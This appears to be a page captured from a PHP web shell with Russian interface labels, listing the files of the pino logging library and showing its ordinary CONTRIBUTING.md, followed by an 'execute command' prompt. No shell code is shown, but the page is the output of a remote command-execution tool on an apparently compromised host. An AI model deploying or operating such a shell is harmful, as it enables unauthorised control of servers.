PHP WebShell

• .. (вверх)
• [DIR] ..
• [FILE] .eslintignore
• [FILE] .eslintrc
• [DIR] .github
• [FILE] .nojekyll
• [FILE] .prettierignore
• [FILE] .taprc.yaml
• [FILE] CNAME
• [FILE] CONTRIBUTING.md
• [FILE] LICENSE
• [FILE] README.md
• [FILE] SECURITY.md
• [DIR] benchmarks
• [FILE] bin.js
• [FILE] browser.js
• [DIR] build
• [DIR] docs
• [DIR] docsify
• [DIR] examples
• [FILE] favicon-16x16.png
• [FILE] favicon-32x32.png
• [FILE] favicon.ico
• [FILE] file.js
• [FILE] inc-version.sh
• [FILE] index.html
• [DIR] lib
• [FILE] package.json
• [FILE] pino-banner.png
• [FILE] pino-logo-hire.png
• [FILE] pino-tree.png
• [FILE] pino.d.ts
• [FILE] pino.js
• [FILE] pretty-demo.png
• [DIR] test
• [FILE] tsconfig.json

Просмотр файла: CONTRIBUTING.md

# Pino is an OPEN Open Source Project

## What?

Individuals making significant and valuable contributions are given commit-access to the project to contribute as they see fit. This project is more like an open wiki than a standard guarded open source project.

## Rules

There are a few basic ground-rules for contributors:

1. **No `--force` pushes** on `master` or modifying the Git history in any way after a PR has been merged.
1. **Non-master branches** ought to be used for ongoing work.
1. **Non-trivial changes** ought to be subject to an **internal pull-request** to solicit feedback from other contributors.
1. All pull-requests for new features **must** target the `master` branch. PRs to fix bugs in LTS releases are also allowed.
1. Contributors should attempt to adhere to the prevailing code-style.
1. 100% code coverage

## Releases

Declaring formal releases remains the prerogative of the project maintainer.

## Changes to this arrangement

This is an experiment and feedback is welcome! This document may also be subject to pull-requests or changes by contributors where you believe you have something valuable to add or change.

-----------------------------------------

Выполнить команду